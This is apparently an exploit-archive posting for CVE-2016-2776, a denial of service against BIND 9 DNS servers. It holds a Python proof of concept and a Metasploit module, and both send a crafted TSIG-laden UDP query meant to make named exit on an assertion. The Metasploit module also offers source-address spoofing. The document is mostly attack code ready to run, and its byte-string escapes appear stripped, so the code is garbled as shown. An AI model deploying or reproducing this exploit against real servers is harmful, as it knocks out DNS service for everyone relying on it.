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BIND 9 DNS Server Denial Of Service

Posted on 05 October 2016

import socket
import struct

TARGET = ('192.168.200.10', 53)

Q_A = 1
Q_TSIG = 250
DNS_MESSAGE_HEADERLEN = 12

def build_bind_nuke(question="x06googlex03comx00", udpsize=512):
query_A = "x8fx65x00x00x00x01x00x00x00x00x00x01" + question + int16(Q_A) + "x00x01"

sweet_spot = udpsize - DNS_MESSAGE_HEADERLEN + 1
tsig_rr = build_tsig_rr(sweet_spot)

return query_A + tsig_rr

def int16(n):
return struct.pack("!H", n)

def build_tsig_rr(bind_demarshalled_size):
signature_data = ("x00x00x57xebx80x14x01x2cx00x10xd2x2bx32x13xb0x09"
"x46x34x21x39x58x62xf3xd5x9cx8bx8fx65x00x00x00x00")
tsig_rr_extra_fields = "x00xffx00x00x00x00"

necessary_bytes = len(signature_data) + len(tsig_rr_extra_fields)
necessary_bytes += 2 + 2 # length fields

# from sizeof(TSIG RR) bytes conforming the TSIG RR
# bind9 uses sizeof(TSIG RR) - 16 to build its own
sign_name, algo_name = generate_padding(bind_demarshalled_size - necessary_bytes + 16)

tsig_hdr = sign_name + int16(Q_TSIG) + tsig_rr_extra_fields
tsig_data = algo_name + signature_data
return tsig_hdr + int16(len(tsig_data)) + tsig_data

def generate_padding(n):
max_per_bucket = [0x3f, 0x3f, 0x3f, 0x3d, 0x3f, 0x3f, 0x3f, 0x3d]
buckets = [1] * len(max_per_bucket)

min_size = len(buckets) * 2 + 2 # 2 bytes for every bucket plus each null byte
max_size = sum(max_per_bucket) + len(buckets) + 2

if not(min_size <= n <= max_size):
raise RuntimeException("unsupported amount of bytes")

curr_idx, n = 0, n - min_size
while n > 0:
next_n = max(n - (max_per_bucket[curr_idx] - 1), 0)
buckets[curr_idx] = 1 + n - next_n
n, curr_idx = next_n, curr_idx + 1

n_padding = lambda amount: chr(amount) + "A" * amount
stringify = lambda sizes: "".join(map(n_padding, sizes)) + "x00"

return stringify(buckets[:4]), stringify(buckets[4:])

if __name__ == "__main__":
bombita = build_bind_nuke()

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bombita, TARGET)
s.close()

'''
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'timeout'
require 'socket'

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Capture
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::Dos
include Msf::Auxiliary::Report

def initialize(info={})
super(update_info(info,
'Name' => 'BIND 9 DoS CVE-2016-2776',
'Description' => %q{
Denial of Service Bind 9 DNS Server CVE-2016-2776.
Critical error condition which can occur when a nameserver is constructing a response.
A defect in the rendering of messages into packets can cause named to exit with an
assertion failure in buffer.c while constructing a response to a query that meets certain criteria.

This assertion can be triggered even if the apparent source address isnt allowed
to make queries.
},
# Research and Original PoC - msf module author
'Author' => [ 'Martin Rocha', 'Ezequiel Tavella', 'Alejandro Parodi', 'Infobyte Research Team'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-2776' ],
[ 'URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html' ]
],
'DisclosureDate' => 'Sep 27 2016',
'DefaultOptions' => {'ScannerRecvWindow' => 0}
))

register_options([
Opt::RPORT(53),
OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])
])

deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')
end

def check_server_status(ip, rport)
res = ""
sudp = UDPSocket.new
sudp.send(valid_query, 0, ip, rport)
begin
Timeout.timeout(5) do
res = sudp.recv(100)
end
rescue Timeout::Error
end

if(res.length==0)
print_good("Exploit Success (Maybe, nameserver did not replied)")
else
print_error("Exploit Failed")
end
end

def scan_host(ip)
@flag_success = true
print_status("Sending bombita (Specially crafted udp packet) to: "+ip)
scanner_send(payload, ip, rport)
check_server_status(ip, rport)
end

def get_domain
domain = "x06"+Rex::Text.rand_text_alphanumeric(6)
org = "x03"+Rex::Text.rand_text_alphanumeric(3)
get_domain = domain+org
end

def payload
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query += "x00x00" # Flags: 0x0000 Standard query
query += "x00x01" # Questions: 1
query += "x00x00" # Answer RRs: 0
query += "x00x00" # Authority RRs: 0
query += "x00x01" # Additional RRs: 1

# Doman Name
query += get_domain # Random DNS Name
query += "x00" # [End of name]
query += "x00x01" # Type: A (Host Address) (1)
query += "x00x01" # Class: IN (0x0001)

# Aditional records. Name
query += ("x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes
query += "x3d"+Rex::Text.rand_text_alphanumeric(61)
query += "x00"

query += "x00xfa" # Type: TSIG (Transaction Signature) (250)
query += "x00xff" # Class: ANY (0x00ff)
query += "x00x00x00x00" # Time to live: 0
query += "x00xfc" # Data length: 252

# Algorithm Name
query += ("x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes
query += "x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes
query += "x00"

# Rest of TSIG
query += "x00x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART
query += "x01x2c" # Fudge: 300
query += "x00x10" # MAC Size: 16
query += Rex::Text.rand_text_alphanumeric(16) # MAC
query += "x8fx65" # Original Id: 36709
query += "x00x00" # Error: No error (0)
query += "x00x00" # Other len: 0
end

def valid_query
query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f65
query += "x00x00" # Flags: 0x0000 Standard query
query += "x00x01" # Questions: 1
query += "x00x00" # Answer RRs: 0
query += "x00x00" # Authority RRs: 0
query += "x00x00" # Additional RRs: 0

# Doman Name
query += get_domain # Random DNS Name
query += "x00" # [End of name]
query += "x00x01" # Type: A (Host Address) (1)
query += "x00x01" # Class: IN (0x0001)s
end

end

 

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